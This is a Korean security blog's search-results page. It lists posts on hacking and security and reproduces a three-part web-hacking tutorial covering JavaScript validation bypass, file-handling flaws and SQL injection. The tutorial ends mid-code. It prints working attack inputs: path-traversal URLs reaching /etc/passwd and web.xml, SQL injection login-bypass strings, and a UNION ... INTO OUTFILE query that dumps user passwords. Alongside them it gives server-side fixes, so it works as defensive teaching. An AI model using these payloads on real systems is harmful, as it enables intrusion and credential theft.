Search Results for '해킹&보안'


207 posts related to '해킹&보안'

  1. 2009/08/26 Web Hacking 3탄 구멍난 자바스크립트
  2. 2009/08/26 Web Hacking 2탄 파일조작 1
  3. 2009/08/26 Web Hacking 1탄 SQL Injection
  4. 2009/08/26 SQL Injection 실습장면
  5. 2009/08/26 구글 코드 서치로 PHP 코드 중 SQL Injection 취약점이 있는 코드를 찾는 키워드
  6. 2009/08/26 IP공유기 각사별 초기세팅값
  7. 2009/08/25 TortoiseCVS를 이용한 Cheat Engine Source 다운로드
  8. 2009/08/25 cer 확장자로 위장한 웹쉘 백신 검사.. 전체공개
  9. 2009/08/25 손쉬운 아이팟 터치 해킹 툴!! 1
  10. 2009/08/25 최신 해킹 동향 및 방어 기술
  11. 2009/08/25 Microsoft Source Code Analyzer for SQL Injection 관련 자료
  12. 2009/08/25 사이트에 악성코드가 있는지 알아볼수 있는 Proxy - SpyBye
  13. 2009/08/25 악성코드 bluell.cn 의 ip.js
  14. 2009/08/25 Microsoft XML Core Services 4.0 서비스 팩 2용 보안 업데이트 반복 설치 문제
  15. 2009/08/24 웹보안 강화도구 안내
  16. 2009/08/24 SQL Injection공격으로 인한 악성코드 삽입피해 주의요망
  17. 2009/08/17 Microsoft Source Code Analyzer for SQL Injection 관련 자료
  18. 2009/08/17 웹사이트 88% 보안에 취약
  19. 2009/08/17 중국해커들의 해킹툴 여러가지 - DOC -
  20. 2009/08/16 해킹툴 기능별 구분
  21. 2009/08/11 웹해킹 - SQL 인젝션 기본
  22. 2009/08/11 원격 인스톨 방법
  23. 2009/08/11 서버 보안설정 체크툴
  24. 2009/08/11 SWF XSS PoC
  25. 2009/08/11 중국해킹 기법-쿠키 SQL Injection 기법
  26. 2009/08/11 중국해킹 기법-쿠키 SQL Injection 기법
  27. 2009/08/11 중국해커의 MS SQL 인젝션 해킹기법
  28. 2009/08/11 중국 최고의 해킹 툴 류광 5.0 3
  29. 2009/08/11 스파이웨이 탐지법
  30. 2009/08/11 [보안] SQL 탐지 우회기법

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트



1. 시작하기

여러분들은 사용자가 입력한 값에대해 어느정도 검증을 하는지요?

사용자 값을 이것저것 따지고 여러가지 유효성을 체크할려면 아주 귀찮은 일이 아닐수 없습니다

그중에 하나가 웹브라우져에서 실행되는 자바스크립트로 체크하는 방법이 있는데 비지니스 로직이 조금 복잡할때는 자바스크립트로 도배를 하는 경우도 종종 있지요

유효성 검증하는일 저도 정~~말 싫어합니다 하지만 해야 합니다 ㅠ.ㅠ

그럼 어디까지 그 유효성을 체크해야 할까요? 자바스크립트로만 체크하면 될까요?


처음 웹프로그래밍을 할때는 저도 자바스크립트로만 입력값을 검증하면 되는줄 알았습니다

한마디로 몰랐죠

하지만 이제는 알기때문에 자바스크립트뿐만 아니라 서버쪽에서도 동일하게 체크해 주어야 합니다

사용자가 입력한 값이 얼마나 무서운지는 앞의 1탄, 2탄의 강좌를 통해 어느정도는 감을 잡으셨으리라 생각하고 이번 강좌에서는 왜 서버쪽에서도 체크해야 하는지!에 대해 간략히 알아보겠습니다



2. 자바스크립트 체크


입력값의 자리수가 13자리인지 체크하여 맞으면 submit을 만약 그렇지 않다면 정상적인 입력값을 요구하는 입력갑검사 로직이 있다고 가정하겠습니다 그리고 서버쪽에서는 꼭 13자리가 넘어와야 정상적인 처리를 할수 있다고 하겠습니다

그럼 아래와 같은 간단한 코드가 나올겁니다


http://www.jakartaproject.com/html/input.html

<script>

/* 입력한값이 13자리인지 체크 후 전송 */

function validateValue() {
    var obj = document.f.register_no;
    if (obj.value.length != 13) {
        alert('주민번호 정상적으로 입력하세요');
        return false;
    }
}

</script>


<form name=f method=post action=process.jsp onsubmit="return validateValue()">
주민번호 <input type=text name=register_no> <input type=submit name=btn value=submit>
</form>


 실제 웹 브라우져에서 보면 아래와 같습니다

"33" 이라는 두자리 수만 입력하니 역시나 재입력을 요구하는 alert창이 떳습니다 (가끔 깜짝깜짝 놀라죠 -,-)




그럼 정상적으로 "1111111111111" 의 입력값 13자리를 입력해 보겠습니다




 

그리고 이 값은 process.jsp 라는곳에서 파라미터로 받아 아래와 같이 처리합니다

코드는 간단하게 그 입력값과 레퍼러 값을 보여주겠습니다


http://www.jakartaproject.com/html/process.jsp

<%@ page contentType="text/html; charset=euc-kr" %>


<%
String register_no = request.getParameter("register_no");
%>


헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>


request.getHeader("referer")는 헤더정보에서 referer값을 가져오는 함수로, 이전 페이지 주소값을 가져옵니다

그럼 화면은 아래와 같이 나옵니다


자 정상적으로 처리되었습니다



3. 자바 스크립트 우회

그럼 이제부터 자바스크립트로 입력값의 자리수 체크로직을 피해가는 방법을 알아봅시다

어떤 방법이 있을까요?


URL로 접근

입력값이 몇가지 되지 않는다면 아래 방법이 가장 편하겠군요

즉 브라우져 주소창에다 직접 입력 합니다


http://www.jakartaproject.com/html/process.jsp?register_no=2222

아래와 같은 화면이 나올겁니다

메쏘드정보 (request.getMethod())를 찍어보니 GET 이 나오는군요!

그렇다면 이같은 직접 URL값을 막기위해 간단히 POST만 허용하는 로직을 추가해 버립시다


http://www.jakartaproject.com/html/process.jsp

<%@ page contentType="text/html; charset=euc-kr" %>


<%
if (!"POST".equals(request.getMethod())
   return;

String register_no = request.getParameter("register_no");
%>


헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>

이러면 괜찮겠지 흐흐.. 라고만끝나면 안됩니다


로컬파일로 접근

①번의 방법은 GET방식때문에 막혔습니다 그러면 자바스크립트를 우회하면서 POST방식으로 보내는 방법은 없을까요? 물론 있습니다

웹브라우져는 "소스보기" 라는 좋은 메뉴가 있습니다 있는건 적극 활용합시다 ㅎㅎ

소스보기한 후 바탕화면에 저장하여 약간 손을 보았습니다

즉 입력값을 체크하는 자바스크립트를 무력화 시키면서, action을 수정해 주었습니다


C:\Documents and Settings\Administrator\바탕 화면\client.html

<script>

/* 입력한값이 13자리인지 체크 후 전송 */

function validateValue() {

    return true;
}

</script>


<form name=f method=post action="http://www.jakartaproject.com/html/process.jsp" onsubmit="return validateValue()">
주민번호 <input type=text name=register_no> <input type=submit name=btn value=submit>
</form>



웹화면은 다음과 같겠죠


"submit"버튼을 클릭합니다 ^^


역시나 자바스크립트를 거치지 않고 process.jsp에 13자리수가 아닌 "22"값을 무난히 보냈습니다



그럼 서버쪽에서는 "어이쿠 이런 헤더정보도 체크해야 겠군" 하고 다음 코드를 추가해 버릴겁니다

즉 레퍼러값이 null인 경우는 허용할수 없다는 것이죠


http://www.jakartaproject.com/html/process.jsp

<%@ page contentType="text/html; charset=euc-kr" %>


<%

if (!"POST".equals(request.getMethod())
   return;


if (request.getHeader("referer") == null)
   return;

String register_no = request.getParameter("register_no");
%>


헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>

그럼 위와같은 소스가 될것입니다

그럼 과연 위 소스가 안전할까요?


HEADER값 조작

그렇다면 HEADER값을 조작해 봅시다 어떻게 조작할 수 있을까요?

여러가지 프로그램들이 있지만 그중에 Achilles 라는 proxy server를 이용하여 조작해 보겠습니다

Achilles라는 proxy server는 웹브라우져와 서버간의 HTTP 세션을 중간에서 가로채어 원하는대로 수정한 후 보낼수 있도록 해주는 작으면서도 강력한 프로그램입니다


※ 참고

Achilles 문서를 보면 맨 첫줄에 나오는 문장입니다

"Achilles is a tool designed for testing the security of web applications"

이 프로그램은 웹어플리케이션의 보안 테스팅을 하는데 작성되었으므로 테스팅용으로만 사용합시다


다운로드

http://www.mavensecurity.com/achilles


우선 위에서 작성한 바탕화면에 저장된 C:\Documents and Settings\Administrator\바탕 화면\client.html 를 실행한 결과를 Achilles가 Intercept한 결과입니다

여러 가지 헤더정보들이 보이며 쿠키값까지 조작할수 있습니다

하지만 위의 헤더정보에는 referer값이 없습니다 그래서 referer체크에서 null이 나와 로직에 걸립니다

그렇다면 referer정보를 추가해 줍시다


파랑색으로 줄쳐진 부분을 에디팅하여 추가해주었습니다

Referer: http://www.jakartaproject.com/html/input.html

그런다음 "Send"버튼으로 전송합니다


짠~

그러면 조작된 헤더정보를 알아채지 못하고 헤더의 referer값을 가져오는군요!



4. 서버쪽 로직 추가!

위에서 자바스크립트를 우회하는 몇가지 방법들을 알아보았습니다

결론은 하나입니다 즉! 서버쪽에서도 동일하게 체크해 주어야 합니다


<%@ page contentType="text/html; charset=euc-kr" %>


<%

String register_no = request.getParameter("register_no");


if (!"POST".equals(request.getMethod())
   return;


if (request.getHeader("referer") == null)
   return;


if (register_no.length() != 13)

   return;
%>


헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>


그렇다면 서버쪽에서만 체크하고 클라이언트에서는 체크할 필요가 없다고 생각할지도 모르지만,

그만큼 서버쪽으로 오는 request를 줄이면 더더욱 좋겠죠

자잘한것 하나때문에 서버쪽 부하를 줄수 없는 노릇아니겠습니까?


자 이러이러 하고 저러저러한 이유로 우리는 이제부터라도 클라이언트에서는 자바스크립트로,

서버쪽에서는 또 서버쪽 스크립트로 사용자가 입력한 값에대해 유효성을 검증해야 하는것을 알았습니다

로직이 복잡한 경우 가뜩이나 자바스크립트도 복잡한데 그 로직을 서버쪽에서 다시한번 만든다는게 힘들다는거 다들 압니다 하지만 안전한 웹페이지를 만들기 위해 다같이 노력해야 되지 않겠습니까?


Web Hacking 1탄 부터 이번 3탄에 이르기까지 웹 프로그래밍 하면서 반드시 필요하고 인식해야 하는 부분에 대해 논하였습니다

마지막으로 다시한번 언급하자면 우리가 잠깐 잊고 지나가거나 혹은 귀찮아서 지나치는 사소한 부분들 때문에 엄청난 결과를 가져올 수 있다는 것입니다 미리미리 예방하고 예측해서 방지하는수 밖에 없습니다 그럼 다들 건승~!~!


이상 GoodBug였습니다~


=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com 

=============================================

2009/08/26 17:25 2009/08/26 17:25

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트


 

1. 시작하기

해커가 하나의 웹사이트를 공격하기 위해 많은 시간을 준비한다고 했습니다

그중에 가장 먼저 하는것 중에 하나가 바로 파라미터와 그 값에대한 목록 정리 입니다

즉 타겟 웹사이트의 모든 URL 파라미터를 GET, POST등으로 정리를 합니다


http://xxxxxxxx.com/pds/list1.php?cnum=2

http://xxxxxxxx.com/pds/list2.php?cnum=2&snum=21

http://xxxxxxxx.com/view.php?fnum=104591

http://xxxxxxxx.com/bbs/bbs.php?table=bbs_sw_qna

http://xxxxxxxx.com/bbs/bbs.php?f=write&table=bbs_sw_qna

http://xxxxxxxx.com/bbs/bbs.php?f=view&table=bbs_sw_qna&fid=48610&num=85973

...


이렇게 목록화 후 분석을 해보면 해당 파라미터가 어떤 역할을 하는지 무엇을 의미하는지 80%는 파악할 수 있습니다

bbs의 f에는 write와 view 라는 값이 주어지는것을 보니 액션에 대한 글쓰기를 할것이지 아니면 글조회를 할것인지를 나타내는것으로 보이며 table이라는 컬럼은 아마도 물리적 table이름을 말하는것 같군요

cnum은 아마도 카테고리 번호를 의미하는것이고 snum은 소카테고리번호를, num은 게시물 글번호를 의미하는것으로 추정됩니다

그럼 이 프로그램들이 어떻게 돌아가는지 대강 파악이 되고 이제부터 취약점이 있는지 체크해 나가보는겁니다


파라미터명이나 값에대해서는 유추할수 없이 프로그램 한다면 아마도 조금은 더 보안적으로 안전할 것입니다


다음은 파라미터로 적절치 않은 값을 넘겨주는 예를 알아볼 것이며, 파일 업로드, 다운로드 취약점에 대해 공부해 보겠습니다 ^^



2. 동적 파일 로딩 취약점

동적으로 어떤 특정 파일을 열어 그 파일 내용을 웹에서 보여주는 jsp가 있다고 합시다

대량의 html이나 txt 파일들을 읽어 웹에서 보여주는 로직들이 많지요 (저도 많이 썼습니다 -_-;)

동적으로 그 파일에 대한 정보를 파라미터로 읽어온다면 어떻게 될까요?


<%
String param = request.getParameter("param");


File file = new File(request.getRealPath("/")+param);


/* 파일 내용을 읽어 buffer에 저장 */

StringBuffer buffer = new StringBuffer();
if (file.exists()) {
    FileInputStream fis = new FileInputStream(file);
    byte b[] = new byte[1024];

    int read = 0;
    while ((read = fis.read(b)) != -1) {
        buffer.append(new String(b));
        b = new byte[1024];
    }
}

%>

파일내용

<%=buffer.toString()%>;


다음과 같은 요청을 보낸다면..


http://localhost/file.jsp?param=sample.txt




/ROOT/sample.txt  파일을 정상적으로 로딩하여 보여줄겁니다

하지만 다음과 같이 값을 준다면 어떻게 될까요?


http://localhost/file.jsp?param=../../../WINNT/system32/drivers/etc/services




저런 --;  시스템 파일들이 몽땅 조회가 되는군요..


Unix 계열이라면

http://localhost/file.jsp?param=../../../../../etc/passwd   ../ 올라가 보면서 찾아보는것도 좋겠죠 -_-

상위 디렉토리로 이동하면서 크래커는 passwd file을 볼수 있습니다

앗 여기서 다들 뜨끔 하신가요? 저만 그러나 ^^;


그럼 어떻게 처리해야 할까요? ../ 만 막아선 될까요?

Unix에서는 ./.\. 도 상위로 가는 명령이죠

아시겠지만 cd ./.\. 하면 한단계 위로 올라간답니다

그러니 ../ 뿐만아니라 ./.\. 도 같이 막을수 있도록 파라미터 확실히 체크를 해야 합니다



3. 동적 include 파일 취약점

그럼 include는 어떨까요? 위처럼 동적으로 include 할 파일명을 받아 처리하는 구조 말이지요


<%
String param = request.getParameter("param");
%>


파일내용<br>
<jsp:include page="<%=param%>" flush="true"/>


http://localhost/include.jsp?param=sample.txt

라고 요청을 날렸습니다




네 정상적으로 sample.txt를 가지고 왔습니다

하지만 다음과 같은 요청이 가면 어떨까요?




네 역시나 기대를 저버리지 않고 web.xml을 기냥 출력해 버리는군요 (여기서 알아보기 쉽게 <를 나타나게 하였습니다)

문제는 /WEB-INF/ 밑에 기타 중요한 properties (데이터에비스 설정 properties)가 있다면 낭패입니다

그럼 어떻게 해야 할까요? 역시나 파라미터값을 필터링 하는수 밖에 없습니다


그래도 이정도면 약과 입니다 -_-;

다음을 보도록 하지요


JSP에서 include에는 대략 4가지 방법이 있습니다

<%@ include file="sample.jsp" %>

<jsp:include page="sample.jsp" flush="true" />

pageContext.include("sample.jsp")

<c:import url="sample.jsp" />


이 4가지가 무순 차이가 있을까요?

차이점을 쓸려다 보니 이번 강좌와 좀 동떨어지는것 같아 그건 제외하고 --;


문제는 동적으로 페이지가 include가 가능 하냐입니다

이점에서는 ①은 동적으로 설정이 가능하지 않으므로 안전한 include입니다 (서버측 include이니 당연합니다)

그럼 ②과 ③은 어떨까요? include할 페이지 설정이 동적으로 가능합니다

그래서 위와 같은 문제점이 있지요

하지만 ②, ③은 확장자가 jsp에만 반응을 하고 확장자가 jsp가 아닐 경우에는 그냥 텍스트로 include를 처리해 버립니다

④번은 좀 특이합니다 물론 동적으로도 가능하며 리모트로도 가능하다는 것입니다


<%@ taglib uri="http://java.sun.com/jstl/core" prefix="c" %>

...

String param = request.getParameter("param");

<c:import url="<%=param%>"/>

...


http://localhost/include.jsp?param=http://www.jakartaproject.com/test.jsp


어떻게 될까요?

그나마 다행인것이 test.jsp 파일을 가지고 와서 서버에서 실행되는 것이 아니라 리모트에서 실행된후의 html 결과물만을 가지고 오는군요 그렇지 않으면 악성 스크립트를 활용할수있는 좋은 구멍 이었을텐데 말입니다 ^^;


다음표로 include 4가지 특성을 정리하였습니다

 유형

동적 실행

jsp 확장자에 반응

리모트 실행여부

<%@ include=

N

확장자에 상관없이 JSP로 실행

N

<jsp:include=

Y

확장자가 JSP만 JSP로 실행

N

pageContext.include

Y

확장자가 JSP만 JSP로 실행

N

<c:import url=

Y

확장자가 JSP만 JSP로 실행

Y










3. 파일 업로드 취약점

해커가 가장 많이 이용하고 좋아하는 취약점이 바로 이 파일 업로드입니다

이 부분은 누차 강조되어왔던 부분이라 대부분 아실겁니다

php 서버에는 php파일이, asp서버에는 asp파일이, jsp 서버에는 jsp파일이 업로드 되어서는 안됩니다

즉 서버에서 실행 가능한 파일을 올려선 안된다는 겁니다


악성 스크립트 침투 시나리오

악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다

업로드 디렉토리가 /upload/ 라고 가정한다면 (업로드 디렉토리를 찾는건 그리 어렵지 않습니다)

    /upload/test.jsp 파일이 첨부파일을 통해 업로드 되었습니다

URL로 그 파일을 요청합니다  http://localhost/upload/test.jsp

    그러면 악성 코드가 들어있는 첨부파일이 웹서버에서 실행되어 버립니다

    test.jsp 파일이 서버의 파일을 모두 삭제하는 스크립트라면 큰일이지요

혹은 include 취약점을 이용해서 업로드한 스크립트를 include 시켜 실행 하기도 합니다



4. 파일 다운로드 취약점


간단한 jsp에서 일반적으로 사용하는 파일 다운로드 코드입니다

이역시 물리적 파일명 자체를 파라미터로 전달하고 있으며 이를 받아 파일을 다운로드 시키고 있습니다


<%@ page import="java.io.*"%><%


String param = request.getParameter("param");

File file = new File(getServletContext().getRealPath("/upload/")+param);


response.setContentType("application/smnet");
response.setHeader("Content-Disposition", "attachment;filename=다운로드;");
response.setHeader("Content-Length", String.valueOf(file.length()));
response.setHeader("Content-Transfer-Encoding", "binary;");


/* 파일이 존재하면 다운로드 */

if (file.exists()) {

    byte b[] = new byte[4096];
    BufferedInputStream bin = new BufferedInputStream(new FileInputStream(file));
    BufferedOutputStream outs = new BufferedOutputStream(response.getOutputStream());
    int read = 0;
    try {
        while ((read = bin.read(b)) != -1){
            outs.write(b,0,read);
        }

    } catch (Exception e) {
        System.out.println(e.getMessage());
    } finally {
        if (bin!=null) try { bin.close(); } catch (Exception sube) {}
        if (outs!=null) try { outs.close(); } catch (Exception sube) {}
    }
}


무엇이 잘못되었을까요?

다음과 같이 URL을 요청해 봅시다


http://loalhost/download.jsp?param=../WEB-INF/web.xml




그려면 요청한 web.xml 이 다운로드 됩니다

즉 이말은 웹 어플리케이션의 모든 파일(소스)을 다운로드해 볼수 있다는 것입니다

소스를 보게 된다면 웹해킹이 물론 더 쉬워지겠지요?



5. 업로드 및 다운로드 취약점 개선 시나리오

악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다

/upload/test.jsp 로 업로드 후 파일명을 변경해 버립니다

    /upload/200601171137507804462_jsp 로 변경해 버립시다

    단순히 파일명만 변경해선 안됩니다 확장자도 제거해 버려야 합니다

    업로드 후 파일의 확장자가 두개 이상이던지, "." 이 이유없이 많다던지, "/" 나 "\" 캐릭터가 파일명에 있으면 부적절한 파일로 간주하고 지워버립시다

    그리고 200601171137507804462_jsp 명과 실제 파일명을 같이 데이터베이스에 저장합니다

URL로 그 파일을 요청합니다  http://localhost/upload/test.jsp

    당연히 파일이 존재하지 않음으로 Not Found가 나올것입니다

그럼 다음 URL로 요청해 봅시다 http://localhost/upload/200601171137507804462_jsp

    어떻게 될까요?

    jsp 코드는 실행되지 않고 text로 jsp 코드를 그냥 브라우져에 뿌리게 됩니다

    즉 아무 상관이 없다는 것입니다

    200601171137507804462_jsp 도 유저에게 보여주어서는 안됩니다

    해당 URL 조차 허용하고 싶지 않다면 아래 web.xml에 security 제한을 둡시다

   

<security-constraint>
     <display-name>JSP and Upload File Protection</display-name>
     <web-resource-collection>
         <web-resource-name>SecureFile</web-resource-name>
         <url-pattern>/upload/*</url-pattern>
         <http-method>DELETE</http-method>
         <http-method>GET</http-method>
         <http-method>POST</http-method>
         <http-method>PUT</http-method>
     </web-resource-collection>
     <auth-constraint>
         <role-name>nobody</role-name>
     </auth-constraint>
</security-constraint>


<security-role>
    <description>Nobody should be in this role so JSP files are protected from direct access.</description>
    <role-name>nobody</role-name>
</security-role>


    그러면 http://localhost/upload/200601171137507804462_jsp 은 다음과 같은 메세지를 뿌립니다



    그리고 파일 다운로드는 직접파일 링크가 아니라 response의 ouputStream을 통해 다운로드 시킵시다

   키값을 가지고 200601171137507804462_jsp 명을 얻어 다운로드 할수 있도록 프로그램 해야 합니다

   즉 다운로드 시킬때도 물리적 파일명을 파라미터로 전달하지 말고 해당 키값을 전달해서 파일명을 데이터베이스에서 얻어오도록 합니다


ps. 이런 취약점 때문만은 아니겠지만 업로드한 파일을 파일 시스템으로 저장하지 않고 데이터베이스에 직접 저장하기도 합니다



6. SQL Injection으로 인한 결과물을 파일로저장하여 다운받아 볼 수 있습니다

앞에서 살펴본 SQL Injection을 예를들어봅시다

아래 코드는 게시물 번호를 파라미터로 입력받아 해당 글번호를 조회하는 코드입니다

아래와 같은 코드가 있다고 한다면 UNION SQL Injection 피해를 볼수 있다고 하였습니다


String boardno = request.getParameter("boardno");

rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_test_t WHERE boardno = "+boardno);
    if (rs.next()) {
        out.println(rs.getString(1)+"<br>");
        out.println(rs.getString(2)+"<br>");
        out.println(rs.getString(3)+"<br>");
}


데이터베이스가 MySQL 이라고 한다면 URL 요청이 다음과 같다면 어떻게 될까요?


http://localhost:8080/test.jsp?boardno=1133971825719 UNION SELECT '1', userid, userpw FROM user_t INTO OUTFILE 'C:/Tomcat/webapps/ROOT/upload/hack.txt'


다음과 같이 에러 메세지가 납니다 하지만.. hack.txt란 파일은 생성이 됩니다

즉 user의 모든 아아디 비밀번호를 간편하게 파일로 다운받아 보는겁니다


HTTP Status 500 -

type Exception report

message

description The server encountered an internal error () that prevented it from fulfilling this request.

exception

org.apache.jasper.JasperException
	org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:372)
	org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)
	org.apache.jasper.servlet.JspServlet.service(JspServlet.java:236)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
	com.jakartaproject.util.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28)

root cause

java.lang.NullPointerException
	org.apache.jsp.test_jsp._jspService(test_jsp.java:64)
	org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:94)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
	org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:324)

그 다음 http://localhost:8080/upload/hack.txt 로 user_t 테이블에 있는 모든 사용자아이디와 비밀번호를 텍스트로 받아볼 수 있습니다. 아마 이방식으로 유저 아뒤/비번 많이 빼내신분들 많으실 겁니다 ㅎㅎ


톰캣 설치 경로는 어떻게 알까요?

톰캣설치경로 대부분 비슷할 겁니다 몇가지 해보면 금방 알수 있습니다



7. 마무리

그렇다면 어떻게 해야 이러한 피해를 최소화 할 수 있을까요? 나름데로 생각해 보았습니다


파라미터와 파라미터값에 대해 알아볼 수 없도록 최소한의 의미만 부여한다!!

   역시나 파라미터가 중요합니다 누구나 알아볼 수 있도록 하는 의미보다는 나름데로

   Naming rule을 정한다든지 암호화 하든지 하는것도 바람직 할 수 있다고 봅니다


파라미터값이 유효한 값인지 체크해 봅니다

   파라미터값을 최대값, 최소값으로 제한하고 꼭 있어야 하는 문자열이나 꼭 없어도 되는 문자열등을 체크합니다

   파라미터값 길이또한 최대, 최소값 제한을 둡니다


중요한 파라미터 값은 (파일명같은..)  절대로 받지 않고 다른 로직으로 생각해 봅시다

    파일명같은 중요한 값은 데이터베이스에 입력해 놓고 키값을 파라미터로 전달받아 파일명을 조회한 후 사용합니다


웹프로그램의 취약점 분석 툴들이 찾아보면 몇개 있습니다(대부분 유로더군요) 이를 이용하여 테스트해 봅니다



두서없이 생각나는데로 적었습니다

그나마 JSP는 다른 PHP나 ASP에 비해 상당히 보안에 안정적입니다 JDBC 마다 틀리겠지만요

해결 방법이 생각해 보면 더 많을겁니다 물론 서버단에서 막는 방법이 제일 좋겠지만요 몇가지 사례를 적어놓았으니 그다음은 응용하기에 달렸지요

방어는 이제 여러분 몫입니다 ㅡ0ㅡ;


뚫느냐 뚫리느냐 그것이 문제로다~


=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com 

=============================================

2009/08/26 17:24 2009/08/26 17:24

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트



1. 시작하기

가끔 뉴스나 방송에서 xx 사이트 해킹 당했다 라고들 많이 들어보았을 겁니다

이런 뉴스를 접할때 대체 어떻게 해서 해킹이 당하는걸까? 라고들 많이 생각해 보았을 겁니다

어떻게 해킹이 일어나는지 알아야 방어도 가능하기 때문에 이번 강좌는 웹해킹에 대해 알아볼 것입니다


첫번재 시간으로 SQL Injection을 배울 것이며 그다음 두번째에는 파일조작으로 인한 해킹을,

그리고 마지막 시간에는 자바스크립트 조작에 대해 알아보겠습니다




도표에서도 알수 있듯이 SQL Injection으로 인한 해킹이 가장 간단하고 쉽기 때문에

이를 가장먼저 알아보겠습니다


SQL Injection 이란 서버나 OS의 구멍을 이용한 해킹방법이 아닌 웹 어플리케이션 자체의 버그를

이용한 새로운 형태의 웹해킹 방법입니다


정의를 하자면


SQL Injection은 웹페이지를 통해 입력된 파라미터값을 이용하여 쿼리를 재구성하는 방법이다


라고 할수 있습니다


즉 많은 웹페이지들은 사용자나 프로그램이 생성한 파라미터값을 이용해 쿼리를 만들고 실행하는데,

이때 정상적인 값이 아닌 파라미터값이 입력될 때 비정상적인 쿼리가 실행되며, 따라서

원하지 않는 결과가 나올수 있다는 것입니다


이해를 위해 바로 코드로 들어가 봅시다

아래 코드는 사용자가 입력한 로그인 아이디와 비밀번호로 로그인을 시도하는 로직입니다


// 입력받은 사용자 아이디와 비밀번호

String param1 = request.getParameter("user_id");

String param2 = request.getParameter("user_pw");


rs = stmt.executeQuery("SELECT count(*) FROM user_t WHERE userid = '"+param1+"' AND userpw = '"+param2+"'");

rs.next();

if (rs.getInt(1) == 1) {

   // 로그인 성공로직

} else {

   // 로그인 실패로직

}



무엇이 잘못되었을 까요?

코드상으로 보면 실행하는데 전혀 이상이 없는 코드이지만 쫌 아는사람들에게는 비밀번호 없이

아이디만 안다면 로그인을 성공할 수 있는 로직입니다



 

아아디가 goodbug 이고 비밀번호가 1111 인 계정이 있다고 합시다 ^^;

입력란에 googbug / 1111 을 입력하니 정상적으로 로그인이 true가 되었습니다

하지만 만약 다음과 같이 사용자가 입력한다면 어떻게 될까요?




로그인이 됩니다!

비밀번호에 상관없이 로그인이 되는군요!!

하다 더 보도록 하지요




위의 소스는 MySQL을 사용하고 있습니다

MySQL의 라인 주석처리는 # 입니다 아시죠?


즉 뒷부분 password를 체크하는 로직은 주석처리되어 버린겁니다 뜨아~


같은 의미이지만 아래처럼 여러가지 섞어서도 가능합니다



이게 만약 관리자 아이디였다면 문제는 더 심각해 집니다


이처럼 사용자의 고의로 인한 SQL을 조작하여 웹 어플리케이션 자체를 공격하는것이 SQL Injection 입니다


그렇다면 위의 소스를 어떻게 변경하는게 좋을까요?


// 입력받은 사용자 아이디와 비밀번호

String param1 = request.getParameter("user_id");

String param2 = request.getParameter("user_pw");


//validate 라는 함수는 아이디와 비밀번호 생성시 생성 로직에 맞게 되었는지 체크하는 함수

//만약 특수문자나 아이디 생성 규칙에 맞지 않는 값이면 exception을 throw 한다

validateID(param1); 

validatePW(param2);


pstmt = conn.prepareStatement("SELECT userid, userpw FROM user_t WHERE userid = ?");

pstmt.setString(1, param1);

rs = pstmt.executeQuery();

if (rs.next()) {

    // 문자를 직접 비교한다 (대소문자 구분)

    if (rs.getString(1).equals(param1) && rs.getString(2).equals(param2)) {

         // 로그인 성공로직

    } else {

        // 로그인 비밀번호 혹은 아이디 오류 로직

    }

} else {

    //로그인 부재 아이디 오류 로직

}

위처럼 하면 어느정도 되겠네요 ^^



2. SQL Injection 패턴


그럼 SQL Injection에 사용될만한 문자열에는 어떤것이 있을까요?


아래 문자들은 해당 데이터베이스에따라 달라질 수 있습니다

문자

설명

' 문자 데이터 구분기호
; 쿼리 구분 기호
--, # 해당라인 주석 구분 기호
/* */ /* 와 */ 사이 구문 주석

일반적으로 알려진 몇가지 패턴입니다


' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

' or password like '%


이러한 패턴들로 타겟 데이터베이스가 오라클인지 MySQL인데 혹은 M$SQL인지 확인할 필요가 있을겁니다. 왜냐하면 그것에 따라 다양한 공격 방법이 생기기 때문입니다

그럼 이러한 구분은 그럼어떻게 할까요?


SQL Injection을 이용하여 다음값이 true인지 false인지 확인합니다

AND 'abcd' = 'ab' + 'cd'

true 이면 오라클은 아닐겁니다 오라클은 ||을 문자열 concat 으로 사용하지요


AND 'abcd' = 'ab' || 'cd'

true 이면 오라클입니다

rownum 도 구분할수 있는 좋은 예입니다


MySQl은 라인 주석이 #입니다 다른 대부분 데이터베이스는 --를 사용하지요

#을 SQL Injection 하였을때 위의 예처럼 에러가 발생하지 않으면 MySQL입니다

또 limit 등도 도움이 될겁니다


이처럼 해당 데이터베이스가 고유하게 사용하는 key들을 SQL Injection하여 구분할 수 있습니다



3. UNION SQL Injection

 

위와같이 WHERE절에 SQL Injection을 사용하여 조건절을 무력화 시키는 방법도 있지만

UNION SQL Injection은 원하는 정보도 뽑아볼 수 있습니다 ^^V


코드로 바로 봅시다

아래 코드는 게시물번호를 파라미터로 받아 해당 게시물이 존재하면 글번호와 글제목, 글내용을 조회하는 코드입니다


String param1 = request.getParameter("boardno");


rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_t WHERE boardno = '"+param1+"'");

if (rs.next()) {

    out.println(rs.getString(1)+"<br>");

